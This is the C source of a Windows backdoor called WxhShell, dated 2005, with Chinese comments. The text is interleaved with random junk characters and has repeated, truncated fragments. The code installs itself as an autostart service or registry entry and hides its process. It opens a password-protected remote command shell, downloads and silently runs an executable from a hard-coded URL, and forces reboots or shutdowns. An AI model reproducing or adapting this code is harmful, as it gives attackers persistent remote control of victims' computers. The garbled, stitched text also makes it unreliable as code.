B-D 6R`Oh uN.> PROCNTQSIP NtQueryInformationProcess; Zmf'{t T5 $$hv`HE^l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ur^j$B} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hrbo:8SL Ow3P-UzU3 HANDLE hProcess; p,F^0OU2}: PROCESS_BASIC_INFORMATION pbi; 9IA$z\<<w %a]; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5!Bktgk. if(NULL == hInst ) return 0; ZU^IH9 2edBQYWd g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M`vyTuO3SO g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \ p4*$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -?<4Og[^ V
>Hf9sZ if (!NtQueryInformationProcess) return 0; ;#TaZN l?/Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Vheq3"q/ if(!hProcess) return 0; RW_q~bA9
1S0pd-i if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *XbI#L%> w(j^ccPD CloseHandle(hProcess); ubYG 'xnnLCm. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X<]qU3k5 if(hProcess==NULL) return 0; HRB[GP+ fTqC:r|st HMODULE hMod; o%[U char procName[255]; Z)pz, unsigned long cbNeeded; #D*r]M F2 ~%zNe if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g%xGOA )4R:)-"f CloseHandle(hProcess); /qU>5; k%P;w1 if(strstr(procName,"services")) return 1; // 以服务启动 fQ 7vL~E Q6
?z_0 return 0; // 注册表启动 ar.AL' } FB:<zmwR #z!^<, // 主模块 aRJcSV int StartWxhshell(LPSTR lpCmdLine) Jq
]:<TQ { ZDx@^P y SOCKET wsl; V-!"%fO.s BOOL val=TRUE; YE}s int port=0; 4 =Gph struct sockaddr_in door; uS+k^
# J:j<"uPm if(wscfg.ws_autoins) Install(); F7MzCZvu ]XA4;7 port=atoi(lpCmdLine); ,FZT~? W`z 0" if(port<=0) port=wscfg.ws_port; :q#K} / Y[Ltrk{ WSADATA data; UsQ4~e 4- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kforu!C @kFu*" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~D[?$`x: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R?66b{O door.sin_family = AF_INET; DJ@|QQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); AoaN22 door.sin_port = htons(port); |o<8}Nja6 %7hB&[ 5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J*fBZ.NO closesocket(wsl); ILwn&[A0 return 1; otJ!UfpR8 } a j\nrD1 =~KsS}`1, if(listen(wsl,2) == INVALID_SOCKET) { !yOeW0/2[ closesocket(wsl); SC &~s$P; return 1; C\ZkGX } !? 5U| Wxhshell(wsl); sZ&G%o WSACleanup(); %\$;(#h os lJC$cy' return 0; a`(a)9i =PHIpFIuk } 7piuLq+ m~hoE8C$ // 以NT服务方式启动 s;flzp8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6\jf|:h { sj?3M@l95W DWORD status = 0; Q,h7Sk* DWORD specificError = 0xfffffff; C1EtoOv K 76cG90!Z serviceStatus.dwServiceType = SERVICE_WIN32; k0-G$|QgIp serviceStatus.dwCurrentState = SERVICE_START_PENDING; cLY c6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qU6nJi+-I serviceStatus.dwWin32ExitCode = 0; US [dkbKo serviceStatus.dwServiceSpecificExitCode = 0; Gfp1mev serviceStatus.dwCheckPoint = 0; `qVjwJ!+ serviceStatus.dwWaitHint = 0; L I >(RMv )~6zYJ2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {nT^tAha if (hServiceStatusHandle==0) return; J?UQJ&!@O 7Q w|! status = GetLastError(); 6x)$Dl if (status!=NO_ERROR)
!R-z% { F}GPZ=T; serviceStatus.dwCurrentState = SERVICE_STOPPED; YC_5YY(k serviceStatus.dwCheckPoint = 0; !QI\Fz? serviceStatus.dwWaitHint = 0; 8vSse serviceStatus.dwWin32ExitCode = status; YW@#91. serviceStatus.dwServiceSpecificExitCode = specificError; hw N?/5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9[c%J*r return; 6r:?;j~l } 2`GE :u8(^]N serviceStatus.dwCurrentState = SERVICE_RUNNING; S& #U!#@ serviceStatus.dwCheckPoint = 0; ((tv2 serviceStatus.dwWaitHint = 0; z7M_1%DEx if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7pA/ } I\~G|B hI?sOR! // 处理NT服务事件,比如:启动、停止 Rm1A>1a: VOID WINAPI NTServiceHandler(DWORD fdwControl) A\_ |un% { +
b$=[nfG switch(fdwControl) -x8nQ%X { &!aAO(g
case SERVICE_CONTROL_STOP: }]n$ %g( serviceStatus.dwWin32ExitCode = 0; +Q=1AXe serviceStatus.dwCurrentState = SERVICE_STOPPED; zk*c)s serviceStatus.dwCheckPoint = 0; iy.2A!f^. serviceStatus.dwWaitHint = 0; :c9U>1`g& { 6
5y+Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y{v(p7pl } :l7U>~ o return; lv vs%@b> case SERVICE_CONTROL_PAUSE: OouPj@r serviceStatus.dwCurrentState = SERVICE_PAUSED; wn_b[tdxq break; #P]#9Ty: case SERVICE_CONTROL_CONTINUE: \Y6WSj?E serviceStatus.dwCurrentState = SERVICE_RUNNING; bY}eUL2i4 break; 'XY`(3q case SERVICE_CONTROL_INTERROGATE: [.RO'>2z break; .<tquswg }; \AL
f$88>@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); A)%A!
} VJ ^dY; $zB[B;-!$ // 标准应用程序主函数 yQ#:J9HMJ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vad12WrG< { pv^O"Bs /Uo
y/}! // 获取操作系统版本 =K{\p`? OsIsNt=GetOsVer(); cUTE$/#s GetModuleFileName(NULL,ExeFile,MAX_PATH); "\0v,!@ 6#IU* // 从命令行安装 asY[8r?U if(strpbrk(lpCmdLine,"iI")) Install(); \(t@1]&jw u7?$b!hG^C // 下载执行文件 rQ7+q;[J if(wscfg.ws_downexe) { ?wnzTbJN if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hXqD<? WinExec(wscfg.ws_filenam,SW_HIDE); V& C/Z}\ } u%~igt@x +cD!1IT: if(!OsIsNt) { 6N)!aT9eo // 如果时win9x,隐藏进程并且设置为注册表启动 3O7!`Nm@ HideProc(); fN'HE#W1Xa StartWxhshell(lpCmdLine); dt2$`X18 } (@iMLuewK else ^"J8r W6[ if(StartFromService()) QWMdn // 以服务方式启动 \GHiLs,! StartServiceCtrlDispatcher(DispatchTable); =gcM%=*' else lFTF ,G // 普通方式启动 >yY'7Ey StartWxhshell(lpCmdLine); gi0W;q )T;?^kho return 0; +la2n(CAK } =XXZ?P sZW^!z h6} lpd w`q%#qRk =========================================== ew"v{=X e9Nk3Sj] l x,"EOP fu90]upz~ 4.IU!.Uo Bdj%hyW " bQ~j=\[r sg+uBCGB #include <stdio.h> }1>[ #include <string.h> 2(/g} #include <windows.h> i+gQE! #include <winsock2.h> 3E3HL7 #include <winsvc.h> ,\qs4& #include <urlmon.h> ;]_o4e6\p ?. D3'qv #pragma comment (lib, "Ws2_32.lib") =zyC-;r! #pragma comment (lib, "urlmon.lib") 5Kkdo!z V*W;OiE_3 #define MAX_USER 100 // 最大客户端连接数 3> Y6) #define BUF_SOCK 200 // sock buffer gks{\ H] #define KEY_BUFF 255 // 输入 buffer CZ nOui $z+8<?YD #define REBOOT 0 // 重启 Y[L-7^o@y #define SHUTDOWN 1 // 关机 q7"7U=W0 =2@B& #define DEF_PORT 5000 // 监听端口 A'2w>8 a{[x4d,z #define REG_LEN 16 // 注册表键长度 6P';DB #define SVC_LEN 80 // NT服务名长度 ATR!7i\| +wkjS r`e // 从dll定义API +zy=50, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D}vmwg@3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gB<3-J1R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9Lr'YRl[W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `3:.??7N T8^5=/ // wxhshell配置信息 < P`u} struct WSCFG { 4Z/f@ZD int ws_port; // 监听端口 YX`7Hm, char ws_passstr[REG_LEN]; // 口令 P{u0ftyX} int ws_autoins; // 安装标记, 1=yes 0=no '3?\K3S4i char ws_regname[REG_LEN]; // 注册表键名 v'e[GB0 char ws_svcname[REG_LEN]; // 服务名 ;X?mmv' char ws_svcdisp[SVC_LEN]; // 服务显示名 ` \+@Fwfx char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~V$|i" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \|K;-pL int ws_downexe; // 下载执行标记, 1=yes 0=no _r2J7& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ai{Sa U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a<@N-E xr G#?Sfn O0 }; +).0cs0k5 *cEob b // default Wxhshell configuration DZ_lW struct WSCFG wscfg={DEF_PORT, |_yYLYH'
"xuhuanlingzhe", O9r>E3-q 1, SCz(5[MZJ "Wxhshell", rfq;%C "Wxhshell", D&S26jrZ "WxhShell Service", #
0Lf<NZ "Wrsky Windows CmdShell Service", ;s52{>&F] "Please Input Your Password: ", 9k 6r_G" 1, ^.>jGI%rB "http://www.wrsky.com/wxhshell.exe", (7 r<'' "Wxhshell.exe" &-mX , }; E<c9#I= HcqfB NM // 消息定义模块 lIProF0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jej` ;I char *msg_ws_prompt="\n\r? for help\n\r#>"; _vZ"4L+Iw+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !&"<oPjr+ char *msg_ws_ext="\n\rExit."; t
89!Ihk char *msg_ws_end="\n\rQuit."; Ovj^IjG-` char *msg_ws_boot="\n\rReboot..."; 4)("v-p char *msg_ws_poff="\n\rShutdown..."; !=N"vD* char *msg_ws_down="\n\rSave to "; HB7;0yt`: l~M_S<4n char *msg_ws_err="\n\rErr!"; A7n\h-b char *msg_ws_ok="\n\rOK!"; CXC`sPY f{FDuIln char ExeFile[MAX_PATH]; =XY\iV1J* int nUser = 0; qBCK40 HANDLE handles[MAX_USER]; Dre]AsgiV int OsIsNt; YiPoYlD*n< M{*Lp6h SERVICE_STATUS serviceStatus; |gU(s SERVICE_STATUS_HANDLE hServiceStatusHandle; `+uhy, ma((2My'H // 函数声明 B:+6~&,- int Install(void); O/<K!;(@? int Uninstall(void); ,L`$09\ int DownloadFile(char *sURL, SOCKET wsh); p8]68!=W\F int Boot(int flag); >>5NX"{ void HideProc(void); ;W^o@*i{> int GetOsVer(void); #cCL.p"] int Wxhshell(SOCKET wsl); u5Ftu?t void TalkWithClient(void *cs); V?=8".GiX int CmdShell(SOCKET sock); 9F*+YG! int StartFromService(void); ETXZ?\<a5 int StartWxhshell(LPSTR lpCmdLine); `3hSLR |0%+wB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o5Q{/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); IzpZwx^3'' 8A+SjJ4$ // 数据结构和表定义 GO^_=EMR[ SERVICE_TABLE_ENTRY DispatchTable[] = Grk@dZI { sUU{fNC6| {wscfg.ws_svcname, NTServiceMain}, x(eb5YS {NULL, NULL} ruazOmnn~ }; mzf+Cu:`v wy}k1E'M // 自我安装 .Fa4shNV int Install(void) ZAXN6h { HdPoO; char svExeFile[MAX_PATH]; 0JJS2oY/ HKEY key; NvvUSyk\;s strcpy(svExeFile,ExeFile); ;asP4R= QJ7L7S // 如果是win9x系统,修改注册表设为自启动 l!g]a2x* if(!OsIsNt) { $.[#0lCI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pe{;~-|6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y})70w@+_ RegCloseKey(key); T9879[ZU\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :"!9_p(,, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 14"J d\M8 RegCloseKey(key); YR;^hs? return 0; <E0UK^-} } |USX[jm\ } 1 %,a =,v } b/Xbs0q else { ME=/|.}D< Vl2XDkhq // 如果是NT以上系统,安装为系统服务 FTeu~<KpM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $O*O/iG if (schSCManager!=0) xQp|;oW;z { T
N!=@Gy SC_HANDLE schService = CreateService ^*fxR]Y ( lf!FTm7 schSCManager, C(K; zo*S( wscfg.ws_svcname, m]cHF.:5 wscfg.ws_svcdisp, Yp:KI7 SERVICE_ALL_ACCESS, ($~RoQ=0S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y)}Rb6qGW SERVICE_AUTO_START, s$a09x SERVICE_ERROR_NORMAL, iIP8`!
O svExeFile, *<u2:=_s NULL, 6}KZp~s NULL, '`Wwt.A NULL, aN,M64F NULL, $e /^u[~: NULL bk\yCt06y; ); p+Y>F\r&w if (schService!=0) <dvy"Dx { +
Q6l*:<|c CloseServiceHandle(schService); Zw~+Pb CloseServiceHandle(schSCManager); uy}%0vLo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `3Uj{w/Q:L strcat(svExeFile,wscfg.ws_svcname); <fs2fTUeqF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s\P2Bp_{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2^^=iU=!<| RegCloseKey(key); d`/tE?Gw return 0; G7CG~:3h+ } zH*KYB } z1Ov|Q` CloseServiceHandle(schSCManager); 0p@k({] < } s|NjT } ?PyG/W eBJUv]o % return 1; A.5i"Ci[ie } /AQMFx4-5 ]7Z{ 8)T // 自我卸载 H`geS int Uninstall(void) >|Cw\^ { R+7oRXsu HKEY key; yZWoN& 1u|Rl:Q if(!OsIsNt) { ZZyDG9a>7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j6g[N4xr RegDeleteValue(key,wscfg.ws_regname); -<_Ww\%8M RegCloseKey(key); ?SC[G-b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hp(D);0+) RegDeleteValue(key,wscfg.ws_regname); o^V(U~m] RegCloseKey(key); LB.co4 return 0; "hQ_sgz[Z } o'$jNciOW } k}#;Uy=5 } ts8+V<g else { "jaJr5Wv=y mB\C?=_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MBXBog7U if (schSCManager!=0) XJIv1s\g { .&x}NYX4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W.w)H@]7m if (schService!=0) r
lKlpl { U`]T~9I if(DeleteService(schService)!=0) { G5FaYL.7 CloseServiceHandle(schService); ZKdeB3D CloseServiceHandle(schSCManager); nA~E
"* return 0; VG>vn`x>a } Z,.G%"i3C CloseServiceHandle(schService); ?r2 #.W } /NFz4h=> CloseServiceHandle(schSCManager); >g;kJe } GAc{l=vT' } 0W%@gs5d& F]I=+T return 1; _0 m\[t. } PG]%Bv57 Gx
72 // 从指定url下载文件 WW@d:R int DownloadFile(char *sURL, SOCKET wsh) rP(eva { ~RD+.A HRESULT hr; aSP4a+\* char seps[]= "/"; uZi.HG{<) char *token; &,.Y9;
b char *file; Ei2%DMN7) char myURL[MAX_PATH]; U/NBFc:[y: char myFILE[MAX_PATH]; JO'>oFv_W c)7j QA strcpy(myURL,sURL); 4R8G&8b token=strtok(myURL,seps); _pH{yhA while(token!=NULL) T{}fHfM { &'' WRgZ} file=token; K]xa/G( token=strtok(NULL,seps); Cb:gH}j } WGAXIQ !7d*v3)d GetCurrentDirectory(MAX_PATH,myFILE); "Y=+Ls(3o( strcat(myFILE, "\\"); >5
b/or strcat(myFILE, file); 5IKL#V`3a send(wsh,myFILE,strlen(myFILE),0); 5#E |R send(wsh,"...",3,0); wJlX4cT4YV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pN&c(=If if(hr==S_OK) m~'? /!! return 0; mw^7oO# else qSx(X!YS return 1; dC1V-x10ju Xq4|uuS-O } T%Pp*1/m7 c
'\SfW< // 系统电源模块 jn.C|9/mj int Boot(int flag) _3Cn{{ A0 { U,Mx@KdV HANDLE hToken; D?M!ra TOKEN_PRIVILEGES tkp; xE-7P|2 *XWq?hi if(OsIsNt) { \VSATL:] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >b.^kc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /b;K tkp.PrivilegeCount = 1; j!z-)p8hy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C_LvZ= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aJqeD'\> if(flag==REBOOT) { KTEZ4K^o= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ggb|Ew return 0; 3CE[( } ueG|*[ else { ir3VTqz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^ZTGJ(j7~ return 0; ,1/}^f6 } [4J6iF } De_ CF8 else { V#q}Wysft if(flag==REBOOT) { MP>n)!R[` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )$Z(|M4 return 0; P;]F=m+*V } 9F;S+)H4 else { s:y
^_W)d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #&,H"?" return 0; rp7W
}P+uU } #hw/^AaD- } -p-0;Hy ->lu#;A5 return 1; H
g5++.Bp } e1q"AOV 6 R \s!*) // win9x进程隐藏模块 nF)uTk void HideProc(void) [XlB<P=|> { zX7q:Pt N6Z{BLZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s4T}Bsr if ( hKernel != NULL ) =sOo:s { &GWkq> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >adV(V< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ")lw9t` FreeLibrary(hKernel); HT`1E0G8) } oYM,8 K >E"9*:.^a return; 7]22"mc } d @rs3Q1z t"s5\;IJ // 获取操作系统版本 UU@fkk int GetOsVer(void) 19d6]pJ5 { `Xo 4q3 OSVERSIONINFO winfo; XY+y}D
% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X,v4d~>] GetVersionEx(&winfo); msk/p>{O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $->d! return 1; keqcV23k else >[*4Tjg return 0; %(LvE}[RJ } Ygkv7>?, o7xgRSz\ // 客户端句柄模块 ^abD!8 int Wxhshell(SOCKET wsl) i</J @0}y { 'dt\db5p SOCKET wsh; 4Nmea-!* struct sockaddr_in client; (v#pj8aE DWORD myID; Rs$5PdH &/ouW'oP while(nUser<MAX_USER) !E&MBAKy { =l`OHTg int nSize=sizeof(client); W8aU"_
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xRX>|S if(wsh==INVALID_SOCKET) return 1; .gT4_ YL^Z4: p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XizPM N5a if(handles[nUser]==0) LD55n%|0`H closesocket(wsh); FrZ]=: else d(L{!mm nUser++; v$$]Gv( } m@oUvxcd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d5U; $q{o 93w~.p return 0; 5()Fvae{k } k90B!kg y(8d?]4:_ // 关闭 socket J_ V,XO void CloseIt(SOCKET wsh) zLek&s&- { FDLd&4Ex closesocket(wsh); V-vlTgemwc nUser--; W(@>?$& ExitThread(0); k:P$LzIB } %2yAvGa1 ]*ov&{' // 客户端请求句柄 elbG\qXBp void TalkWithClient(void *cs) d=e{]MG( { c#\-%h ac6*v49 SOCKET wsh=(SOCKET)cs; ~Fx&)kegTo char pwd[SVC_LEN]; iVeQ]k(u char cmd[KEY_BUFF]; 4r*Pa(;y char chr[1]; 6ojo##j int i,j; oCJbkt= `s}BXKIv} while (nUser < MAX_USER) { "T*I| F!~l
MpuE if(wscfg.ws_passstr) { )vHi|~( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V} bM!5 H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R=35
7^[R //ZeroMemory(pwd,KEY_BUFF); ){tPP$-i= i=0; |s`Kd-'|q while(i<SVC_LEN) { ?L`ZKRD K^ 6+Ily // 设置超时 v>at/ef fd_set FdRead; v*L
'{3f struct timeval TimeOut; NW De-<fQ FD_ZERO(&FdRead); v&2+'7]w
r FD_SET(wsh,&FdRead); [.U^Wrd TimeOut.tv_sec=8; 6_ ]8\n TimeOut.tv_usec=0; ^/{4'\p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e\~l!f'z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {8ECNQ[] Uh\]?G[G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <bX 1,}? pwd=chr[0]; @ta?&Qf) if(chr[0]==0xd || chr[0]==0xa) { 6z]`7`G pwd=0; %O /d4 break; RHXvee55 } yjeL9:jH[ i++; )G4rJ~#@ } 6!RikEAh ni0LQuBp // 如果是非法用户,关闭 socket #Gp
M22d'( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TF)8qHy! u } LJ
l1v =~$U^IsWA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /h-6CR
Ka send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tGqQJT#mr7 54wM8'+ while(1) { .xnQd^qoac &vkp?UH ZeroMemory(cmd,KEY_BUFF); zP|*(* lrn+d$!@ // 自动支持客户端 telnet标准 Zx9.p Fc" j=0; -3`Isv while(j<KEY_BUFF) { &%}6q]e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X?kPi&ru cmd[j]=chr[0]; <THUsY`3P& if(chr[0]==0xa || chr[0]==0xd) { xiJz`KD& cmd[j]=0; xcnt?%%M break; [>wzl"cHW } Pzptr%{ j++; EaCZx } cb4b,Ri @92gb$xT // 下载文件 HIrEv if(strstr(cmd,"http://")) { Hp*gv/0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); `%%?zgY if(DownloadFile(cmd,wsh)) -7,vtd[h send(wsh,msg_ws_err,strlen(msg_ws_err),0); B%y! aQep else >eu
`!8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tNYJQ } =;g= GcVK else { 4%%B0[Wo_O y
'mlee switch(cmd[0]) { TXx'7[ v=j>^FZ // 帮助 *|sxa# case '?': { ujow?$& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9ec0^T break; FSFFk~ } N JXa_&_ // 安装 jjYM3LQcdP case 'i': { rXlx?GV if(Install()) { _-wG3f| send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9y;y7i{>? else xp~YIeSg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #i@ACAgn;6 break; otoBb^Mz } Q;=6ag' // 卸载 #`r(zI[ case 'r': { )K8P+zn~ if(Uninstall()) dEL3?-;' send(wsh,msg_ws_err,strlen(msg_ws_err),0); }FHw"
{my else EqVsxwa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C+T&O break; r+SEw ; } 'n>EEQyp' // 显示 wxhshell 所在路径 d\\r_bGW case 'p': { Ck:#1-t8{ char svExeFile[MAX_PATH]; ?VUgwP_= strcpy(svExeFile,"\n\r"); ,9F*96 strcat(svExeFile,ExeFile); uAc@ Z- send(wsh,svExeFile,strlen(svExeFile),0); IPwj_jvw break; x GwTk } poTl|y @ // 重启 r[6#G2 case 'b': { U.HoFf+HN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .MzOLv if(Boot(REBOOT)) mu 2
A% "7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); \nrgAC-b else {
{VS''Lv closesocket(wsh); hEVjeC ExitThread(0); bcUC4g\9N } qPL^zM+ break; ~?2rGE } #Tup]czO // 关机 /A%om|+Gq case 'd': { bELIRM9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 71JM
[2 if(Boot(SHUTDOWN)) )3BR[*u* send(wsh,msg_ws_err,strlen(msg_ws_err),0); =X)Q7u".7 else { v<{wA`'R+ closesocket(wsh); A Z]P+v ExitThread(0); -08&&H } (Nm}3 p break; t|go5DXz4 } AD~~e%
s= // 获取shell 8f /T!5 case 's': { av'd%LZP CmdShell(wsh); [`y:M&@ closesocket(wsh); C}n[?R ExitThread(0); MMd0O X)P break; ?SB[lbU } $&ex\_W // 退出 sI^@A=.@ case 'x': { $, 8 CH)w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y1#-^,qg CloseIt(wsh); ZMdM_i? break; UOn! Y@ } 7( yXsVq // 离开 }f<fgY case 'q': { Uuwq7oFub send(wsh,msg_ws_end,strlen(msg_ws_end),0); +vSCR(n closesocket(wsh); 6 {b%Jfo WSACleanup(); Wv6z%r< exit(1); ,k4z; break; >2]Eaw&W } *i=?0M4S } w{_e"N } +A]&AkTw Y&oP>n! ei // 提示信息 ):/<H if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y_}K? } } l :mN } }2-[Ki yv z*Myokhf return; 9\AEyaJFZ }
1m&!l6Jk ^U-vD[O8 // shell模块句柄 C1ZFA![ int CmdShell(SOCKET sock) 7xLo4 { }9L 40)8 STARTUPINFO si; 4]Un=?)I ZeroMemory(&si,sizeof(si)); Paae-EmC si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UgF) J si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gi1}5DR PROCESS_INFORMATION ProcessInfo; o|rGy5 char cmdline[]="cmd"; O\|C,Epm CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XV74Fl return 0; Y|hzF:ll } s|{^ }4{ I}*]m%'-Y // 自身启动模式 Ma` int StartFromService(void) r~S!<9f { mp&Le YYn typedef struct K$Mx}m7l { 3EbnZb DWORD ExitStatus; [(D}%+2 DWORD PebBaseAddress; NZfo`iHAN DWORD AffinityMask; a}5vY DWORD BasePriority; O0K@M ULONG UniqueProcessId; H]%mP| ULONG InheritedFromUniqueProcessId; 4f@havFIJ } PROCESS_BASIC_INFORMATION; J]n7| L u\Nw:Uu i PROCNTQSIP NtQueryInformationProcess; "'Q" (S kr/1Dsr4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eEZ|nEU static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K B`1% = (&9DB HANDLE hProcess; p%1xj2 ?nN PROCESS_BASIC_INFORMATION pbi; OH-~ ~>Hnf_pZO HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C }h<ldlY if(NULL == hInst ) return 0; #`N6<nb q5?rp|7D g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bWX[<rh' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k$UzBxR NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mm>zpB`qP 3/A[LL| if (!NtQueryInformationProcess) return 0; 6k@% +<1 T!=20 !I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I:uQB! if(!hProcess) return 0; }\PE { `>`K7-H if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .236d^l 4'}_qAT CloseHandle(hProcess); S5*~r@8h *0Wi^f hProcess = 